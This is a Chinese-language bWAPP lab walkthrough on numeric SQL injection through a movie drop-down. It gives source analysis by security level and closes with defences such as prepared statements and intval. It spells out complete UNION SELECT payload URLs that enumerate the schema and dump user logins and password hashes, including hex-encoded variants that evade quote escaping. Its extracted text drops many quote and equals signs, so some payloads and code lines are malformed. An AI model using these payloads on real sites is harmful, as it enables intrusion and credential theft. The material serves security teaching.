:SQL 注入(GET/选择型))
摘要本文是 bWAPP 靶场系列的第十四篇聚焦于SQL Injection (GET/Select)GET 型下拉选择框 SQL 注入漏洞。文章从零基础出发首先讲解什么是数字型 SQL 注入、它与字符串型注入的本质区别随后按照 Low、Medium、High 三个安全级别逐一进行源码分析、通关演示和防御方案讲解。特别地本文深入分析了数字型注入无需引号闭合的特点解释了为什么mysql_real_escape_string()等转义函数在数字型注入面前“形同虚设”并加入了大量真实世界的经典案例——从 2008 年 Heartland 信用卡数据泄露到 2025-2026 年 Cisco、F5、Google Cloud 等企业级产品的 SQL 注入漏洞——帮助读者深刻理解数字型 SQL 注入的隐蔽性和毁灭性威力。一、前言在上一篇文章中我们学习了SQL Injection (GET/Search)——那是字符串型的 SQL 注入注入点在一个搜索框中我们需要用单引号来闭合字符串边界然后注入恶意 SQL 代码。今天我们要学的 SQL 注入关卡看起来和上一关很相似但实际上完全不同——SQL Injection (GET/Select)这是一个下拉选择框你从列表中选择一部电影点击“Go”按钮页面显示该电影的详细信息。关键区别在哪里搜索型选择型输入方式文本输入框下拉菜单select注入参数title字符串id数字SQL 片段WHERE title LIKE %...%WHERE id ...引号需求需要闭合单引号不需要引号注入类型字符串型注入数字型注入数字型注入最大的特点是不需要引号闭合。攻击者可以直接在id参数后拼接UNION SELECT、OR等语句而不用担心引号匹配问题。更关键的是传统的转义函数如mysql_real_escape_string()对数字型注入几乎无效——因为它们只转义引号、反斜杠等字符而数字型注入根本不使用这些字符这就是为什么 Medium 级别即使使用了mysql_real_escape_string()仍然存在 SQL 注入漏洞。我们将通过源码分析和实战演示彻底讲透这个问题。二、SQL 注入回顾与数字型注入详解2.1 字符串型 vs 数字型 SQL 注入我们在第十三篇中已经详细介绍了 SQL 注入的基础知识。现在我们重点对比两种最常见的注入类型字符串型注入// 代码 $sql SELECT * FROM movies WHERE title LIKE % . $_GET[title] . %; // 正常输入Iron Man // 生成的 SQLSELECT * FROM movies WHERE title LIKE %Iron Man% // 攻击输入 OR 11 // 生成的 SQLSELECT * FROM movies WHERE title LIKE % OR 11%攻击者必须用闭合字符串边界然后注入OR等逻辑。数字型注入// 代码 $sql SELECT * FROM movies WHERE id . $_GET[id]; // 正常输入1 // 生成的 SQLSELECT * FROM movies WHERE id 1 // 攻击输入1 OR 11 // 生成的 SQLSELECT * FROM movies WHERE id 1 OR 11攻击者不需要使用引号直接在数字后面拼接逻辑语句即可。2.2 为什么数字型注入更“危险”无需引号闭合降低了攻击门槛少了一个需要绕过的障碍。转义函数失效mysql_real_escape_string()、addslashes()等只转义引号、反斜杠等字符对数字纯数字字符串不做任何改变。因此即使开发者使用了这些转义函数数字型注入依然存在。隐蔽性更强很多开发者以为用了mysql_real_escape_string()就“安全了”但实际上针对数字型注入它根本没有防护作用。2.3 数字型注入的常见场景下拉菜单如本篇的 movie 选择分页参数如?page1详情页 ID如?id100排序参数如?sortprice任何 URL 中的数字参数三、SQL 注入的历史背景与经典案例历史起源1998 年的“发现”SQL 注入的概念最早可以追溯到1998 年。安全研究员Jeff Forristal在文章《A look at SQL Injection》中首次公开讨论了这项技术。此后SQL 注入迅速成为 Web 安全领域最受关注的漏洞类型。经典案例一Heartland Payment Systems——1.3 亿张信用卡泄露2008 年时间2008 年Heartland Payment Systems 是美国最大的信用卡处理公司之一。攻击者利用 SQL 注入漏洞入侵了 Heartland 的支付处理网络窃取了约 1.3 亿张信用卡的数据。这是历史上最大的信用卡数据泄露事件之一。Heartland 为此支付了超过 1.4 亿美元的赔偿金。经典案例二Sony PlayStation——7700 万用户数据被拖库2011 年时间2011 年 4 月Sony PlayStation Network 是全球最大的游戏在线服务平台。攻击者利用 SQL 注入漏洞入侵了 Sony 的数据库服务器窃取了约 7700 万用户的个人信息包括姓名电子邮件地址生日密码加密后甚至部分信用卡信息这次攻击导致 PlayStation Network 中断服务 23 天Sony 的直接损失超过 1.7 亿美元品牌声誉受到严重损害。经典案例三数字型注入的典型——2012 年 LinkedIn 数据泄露2012 年LinkedIn 遭到 SQL 注入攻击650 万用户密码哈希被泄露。虽然攻击细节并未完全公开但安全专家普遍认为攻击者利用了数字型注入点如用户 ID 参数来批量提取数据。经典案例四Cisco Prime Collaboration SQL 注入CVE-2025-20169时间2025 年 4 月CVSS 评分9.1严重Cisco Prime Collaboration 是一款企业级网络管理解决方案。该漏洞源于 Web 管理界面在处理用户输入时未能正确验证经过认证的远程攻击者可以通过发送精心构造的 HTTP 请求执行任意 SQL 命令。经典案例五F5 BIG-IP SQL 注入CVE-2026-22947时间2026 年 1 月CVSS 评分7.5高危F5 BIG-IP 是全球最流行的应用交付控制器。该漏洞允许经过身份验证的攻击者通过配置实用工具执行恶意 SQL 查询可能导致远程代码执行和数据窃取。经典案例六Google Cloud SCC SQL 注入CVE-2026-39443时间2026 年 7 月Google Cloud Security Command Center 中的 SQL 注入漏洞可能暴露受影响的云租户数据。Google Cloud 已修复该漏洞。案例总结从 2008 年的 Heartland 到 2026 年的 F5、Google CloudSQL 注入依然是企业级产品的“常见病”。数字型注入更是因为其“无需引号”的特性成为攻击者最喜欢利用的注入点之一。四、bWAPP SQL Injection (GET/Select) 漏洞实战4.1 漏洞页面介绍在 bWAPP 主界面选择SQL Injection (GET/Select)点击“Hack”按钮进入漏洞页面。页面功能一个下拉菜单select namemovie列出了所有电影一个“Go”按钮button typesubmit nameaction valuego选择一部电影后页面会显示该电影的详情标题、年份、主要角色、类型、IMDb 链接关键点下拉菜单中每个选项的value是电影的id数字而不是电影名称。当用户点击“Go”时浏览器发送的请求是GET /sqli_2.php?movie1actiongomovie参数的值是数字如1、2、3后端直接用这个数字构造 SQL 查询。4.2 核心源码分析Low 和 Medium 级别在低和中安全级别下bWAPP 使用的是同一个文件sqli_2.php只有当安全级别设为 High 时才会重定向到sqli_2-ps.php使用参数化查询。sqli_2.php中的关键代码// 根据安全级别调用不同的过滤函数 function sqli($data) { switch($_COOKIE[security_level]) { case 0 : // Low 级别 $data no_check($data); break; case 1 : // Medium 级别 $data sqli_check_2($data); // mysql_real_escape_string break; default : $data no_check($data); break; } return $data; } if(isset($_GET[movie])) { $id $_GET[movie]; $sql SELECT * FROM movies; // 基础查询 if($id) { $sql. WHERE id . sqli($id); // 关键拼接点 } $recordset mysql_query($sql, $link); // ... }分析$id直接从$_GET[movie]获取。sqli($id)根据级别过滤。最终 SQL 是SELECT * FROM movies WHERE id 数字。问题在Low级别no_check()不做任何过滤直接拼接漏洞明显。在Medium级别虽然用了mysql_real_escape_string()但它只转义特殊字符如、、\、\x00、\n、\r等。对于纯数字idmysql_real_escape_string()不会改变任何字符所以攻击者依然可以在数字后面拼接UNION SELECT等语句。在High级别系统重定向到sqli_2-ps.php使用参数化查询Prepared Statements完全安全。4.3 为什么mysql_real_escape_string()对数字型注入无效mysql_real_escape_string()的设计目的是转义字符串中的特殊字符使得它们可以被安全地放入 SQL 字符串常量中。例如它会将转义为\这样字符串的边界就不会被破坏。但是当注入点是数字型没有引号包裹时攻击者根本不需要使用引号。例如正常id 1 攻击id 1 UNION SELECT ...mysql_real_escape_string()接收1 UNION SELECT ...后因为里面没有、、\等特殊字符它会原样返回。于是拼接出的 SQL 变成了SELECT * FROM movies WHERE id 1 UNION SELECT ...注入成功结论mysql_real_escape_string()只能防御字符串型注入对数字型注入几乎无效。正确的防御方法是参数化查询或类型强转如intval($id)。五、Low 安全级别5.1 通关步骤将安全级别设置为Low然后开始攻击。步骤一正常使用功能从下拉菜单中选择任意电影如 “G.I. Joe: Retaliation”点击“Go”。页面会显示该电影的详细信息。观察 URLhttp://localhost/bWAPP/sqli_2.php?movie1actiongo这里的movie1就是电影的 ID。步骤二注入数字型 payload——验证漏洞由于当前版本bWAPP页面代码仅读取查询结果第一条无法通过1 OR 11观察所有数据改用布尔逻辑Payload进行验证。Payload1条件恒真http://10.0.0.149:4096/sqli_2.php?movie1%20AND%2011actiongo后端SQLSELECT * FROM movies WHERE id 1 AND 11现象页面正常展示id1对应的电影。Payload2条件恒假http://10.0.0.149:4096/sqli_2.php?movie1%20AND%2012actiongo后端SQLSELECT * FROM movies WHERE id 1 AND 12现象无匹配数据页面显示No movies were found!。对比现象可控修改SQL查询条件证明参数直接拼接进SQL语句。漏洞确认数字型 SQL 注入存在步骤三使用 UNION 联合查询——窃取数据首先我们需要确定查询返回的列数。使用UNION SELECT配合NULL来测试。利用不存在的 id-1清空前置查询结果保证页面展示 UNION 查询内容。在 URL 中输入http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,2,3,4,5,6,7actiongo如果返回正常无报错说明列数为 7。我们修改 payload 来确认movie-1 UNION SELECT 1,2,3,4,5,6,7,8如果报错说明列数不是 8是 7。注意不要使用movie1 UNION SELECTid1 存在数据原始记录会占据结果集第一行页面只会展示原始电影无法看到 UNION 查询返回的数据。确定了列数后我们可以窃取数据。例如获取数据库版本http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,version(),3,4,5,6,7actiongo页面会在电影详情的位置显示 MySQL 版本号。步骤四获取数据库名称http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,database(),3,4,5,6,7actiongo显示当前数据库名。步骤五获取表名通过limit依次获取所有表名http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,table_name,3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schemadatabase()%20limit%200,1actiongo //第一张表 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,table_name,3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schemadatabase()%20limit%201,2actiongo //第二张表 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,table_name,3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schemadatabase()%20limit%202,3actiongo //第三张表 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,table_name,3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schemadatabase()%20limit%203,4actiongo //第四张表 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,table_name,3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schemadatabase()%20limit%204,5actiongo //第五张表或者使用GROUP_CONCAT(table_name SEPARATOR ,)通过拼接将所有表名拼接到一块http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,GROUP_CONCAT(table_name SEPARATOR ,),3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schemadatabase()%20limit%200,1actiongo步骤六获取用户数据查询users表的列名通过limit依次获取http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schemadatabase()%20and%20table_name%27users%27%20limit%200,1actiongo //第一个字段 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schemadatabase()%20and%20table_name%27users%27%20limit%201,2actiongo //第二个字段 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schemadatabase()%20and%20table_name%27users%27%20limit%202,3actiongo //第三个字段 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schemadatabase()%20and%20table_name%27users%27%20limit%203,4actiongo //第四个字段 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schemadatabase()%20and%20table_name%27users%27%20limit%204,5actiongo //第五个字段 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schemadatabase()%20and%20table_name%27users%27%20limit%205,6actiongo //第六个字段 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schemadatabase()%20and%20table_name%27users%27%20limit%206,7actiongo //第七个字段 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schemadatabase()%20and%20table_name%27users%27%20limit%207,8actiongo //第八个字段 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,column_name,3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schemadatabase()%20and%20table_name%27users%27%20limit%208,9actiongo //第九个字段或者使用GROUP_CONCAT(column_name SEPARATOR ,)通过拼接将所有列名拼接到一块http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,GROUP_CONCAT(column_name%20SEPARATOR%20%27,%27),3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schemadatabase()%20and%20table_name%27users%27%20actiongo然后窃取用户名和密码http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,GROUP_CONCAT(CONCAT(login,%27:%27,password)%20SEPARATOR%20%27,%27),3,4,5,6,7%20FROM%20usersactiongo页面会显示所有用户的登录名和密码哈希。5.2 源码分析Low 级别中sqli()调用no_check()function no_check($data) { return $data; }直接返回原始输入无任何过滤。因此任意 payload 都能生效。5.3 如何防御对于 Low 级别最直接的修复是类型强转$id intval($_GET[movie]); $sql SELECT * FROM movies WHERE id . $id;intval()会将输入强制转换为整数任何非数字内容都会被过滤掉这样注入就失效了。六、Medium 安全级别6.1 通关步骤将安全级别切换为Medium再次访问页面。尝试一注入 -1 OR 11在 URL 中输入http://10.0.0.149:4096/sqli_2.php?movie-1%20OR%2011actiongo点击访问——成功返回了一条数据尝试二注入 -1 OR 12http://10.0.0.149:4096/sqli_2.php?movie-1%20OR%2012actiongo点击访问——返回报错信息所以数字型 SQL 注入存在接下来的步骤和low级基本上是一样的1、获取列数和显示位 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,2,3,4,5,6,7actiongo 2、获取数据库名 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,database(),3,4,5,6,7actiongo 3、获取表名 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,GROUP_CONCAT(table_name SEPARATOR 0x2C),3,4,5,6,7%20FROM%20information_schema.tables%20WHERE%20table_schemadatabase()%20limit%200,1actiongo 4、获取字段名 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,GROUP_CONCAT(column_name%20SEPARATOR%200x2C),3,4,5,6,7%20FROM%20information_schema.columns%20WHERE%20table_schemadatabase()%20and%20table_name0x7573657273%20actiongo 5、获取用户数据 http://10.0.0.149:4096/sqli_2.php?movie-1%20UNION%20SELECT%201,GROUP_CONCAT(CONCAT(login,0x3a,password)%20SEPARATOR%200x2C),3,4,5,6,7%20FROM%20usersactiongo注意由于需要规避单引号所以,变为0x2C:变为0x3A‘users变为0x7573657273为什么 Medium 级别也失败了查看源码Medium 级别调用了sqli_check_2()即mysql_real_escape_string()。当我们输入 -1 OR 11时该函数检查字符串发现没有、、\等特殊字符于是原样返回。拼接后的 SQL 仍然是WHERE id -1 OR 11注入成功。关键点mysql_real_escape_string()对数字型注入完全无效因为它只转义引号等字符而数字型注入根本不需要这些字符。6.2 源码分析Medium 级别的sqli()调用sqli_check_2()function sqli_check_2($data) { return mysql_real_escape_string($data); }如前所述该函数对纯数字字符串不做任何修改。6.3 如何防御Medium 级别的防护形同虚设。正确的做法是方案一类型强转$id intval($_GET[movie]);方案二使用参数化查询这是 High 级别采用的方法我们稍后介绍。七、High 安全级别7.1 通关步骤将安全级别切换为High再次访问页面。当安全级别为 High 时sqli_2.php文件开头有这段代码if($_COOKIE[security_level] 2) { header(Location: sqli_2-ps.php); exit; }所以实际上当安全级别设为 High 时页面会重定向到sqli_2-ps.php这是一个使用MySQLi Prepared Statements参数化查询的版本。在这个版本中无论你输入什么 payload都无法注入。因为 SQL 查询的结构和数据是分开的用户输入只会被视为数据不会改变 SQL 的语法。7.2 源码分析sqli_2-ps.php中的关键代码$id $_GET[movie]; $sql SELECT title, release_year, genre, main_character, imdb FROM movies WHERE id ?; if($stmt $link-prepare($sql)) { $stmt-bind_param(s, $id); $stmt-execute(); $stmt-bind_result($title, $release_year, $genre, $main_character, $imdb); $stmt-fetch(); // 显示结果 }解析SQL 语句中使用?作为占位符表示这里将来会放入一个值。bind_param(s, $id)将$id绑定到占位符上并指定类型为字符串。当执行时MySQL 会将$id当作纯数据处理绝对不会将其解析为 SQL 代码。因此即使$id包含OR 11等恶意内容它只会被当作一个普通的字符串去匹配id列不会改变查询逻辑。这就是参数化查询的威力——从原理上杜绝了 SQL 注入。7.3 如何防御High 级别的防御方案是最安全、最推荐的使用参数化查询Prepared Statements配合类型严格绑定如bind_param(i, $id)绑定为整数不要拼接用户输入到 SQL 中八、三种安全级别对比总结级别使用的函数对数字型注入的效果漏洞状态Lowno_check()无防护存在严重漏洞Mediummysql_real_escape_string()完全无效不转义数字存在漏洞防护形同虚设High参数化查询Prepared Statements完全防御安全九、数字型 SQL 注入的防御方案总结9.1 开发人员必知的防御措施方案一参数化查询Prepared Statements——最推荐// MySQLi $stmt $link-prepare(SELECT * FROM movies WHERE id ?); $stmt-bind_param(i, $id); $stmt-execute(); // PDO $stmt $pdo-prepare(SELECT * FROM movies WHERE id :id); $stmt-execute([id $id]);方案二类型强转如果参数必须是整数可以使用强制类型转换$id intval($_GET[id]); // 或 $id (int) $_GET[id]; $sql SELECT * FROM movies WHERE id . $id;这样任何非数字内容都会被转换为 0 或去除无法注入。方案三使用白名单验证对于有限集合的参数如下拉菜单的值可以使用白名单$allowed_ids [1, 2, 3, 4, 5]; if (!in_array($_GET[id], $allowed_ids)) { die(Invalid ID); }方案四不要依赖mysql_real_escape_string()防御数字型注入重要mysql_real_escape_string()不能防御数字型注入。开发者必须明白这一点并采用上述更可靠的防御方法。9.2 安全测试人员必知的检测方法基础检测在数字参数后添加OR 11观察是否返回所有数据。UNION 测试使用UNION SELECT探测列数和窃取数据。盲注测试如果页面不显示结果使用AND sleep(5)进行时间盲注。测试所有数字参数URL 中的 id、page、sort 等都可能存在数字型注入。十、总结通过本篇文章的学习我们完整掌握了 bWAPP 中 SQL Injection (GET/Select) 漏洞相关知识点。数字型 SQL 注入的注入点为数字参数无需引号闭合可直接在数字后拼接 SQL 语句和需要引号闭合的字符串型注入相比数字型注入更为直接隐蔽。中级防护函数mysql_real_escape_string()仅对引号等特殊字符进行转义不会限制数字参数拼接无法防御数字型注入。该靶场三个安全等级呈现清晰的防护效果差异Low 等级无任何过滤存在高危 SQL 注入漏洞Medium 等级启用mysql_real_escape_string()防护手段失效漏洞依旧可利用High 等级采用参数化查询从根源杜绝注入风险。防范数字型 SQL 注入的核心手段为参数化预编译查询或对输入执行强制类型转换。放眼真实网络环境Heartland Payment Systems 信用卡信息泄露、索尼 PlayStation 用户数据拖库以及 Cisco、F5、谷歌云等厂商曝出的相关高危漏洞案例均证明SQL 注入长期以来都是各类企业业务系统高频出现的安全隐患具备极高的实战威胁性。写在最后数字型 SQL 注入是 SQL 注入家族中最简单、最直接的一种但也是最容易被忽视的一种。很多开发者学了mysql_real_escape_string()就觉得“安全了”却不知道这个函数对数字型注入形同虚设。这种“自以为安全”的状态往往比“知道不安全”更危险——因为它给了开发者虚假的安全感而攻击者却可以轻易突破。记住三句话数字型注入不需要引号——转义引号对它无效mysql_real_escape_string()不是万能药——它防不住数字型注入参数化查询是终极方案——永远不要拼接用户输入到 SQL 中重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。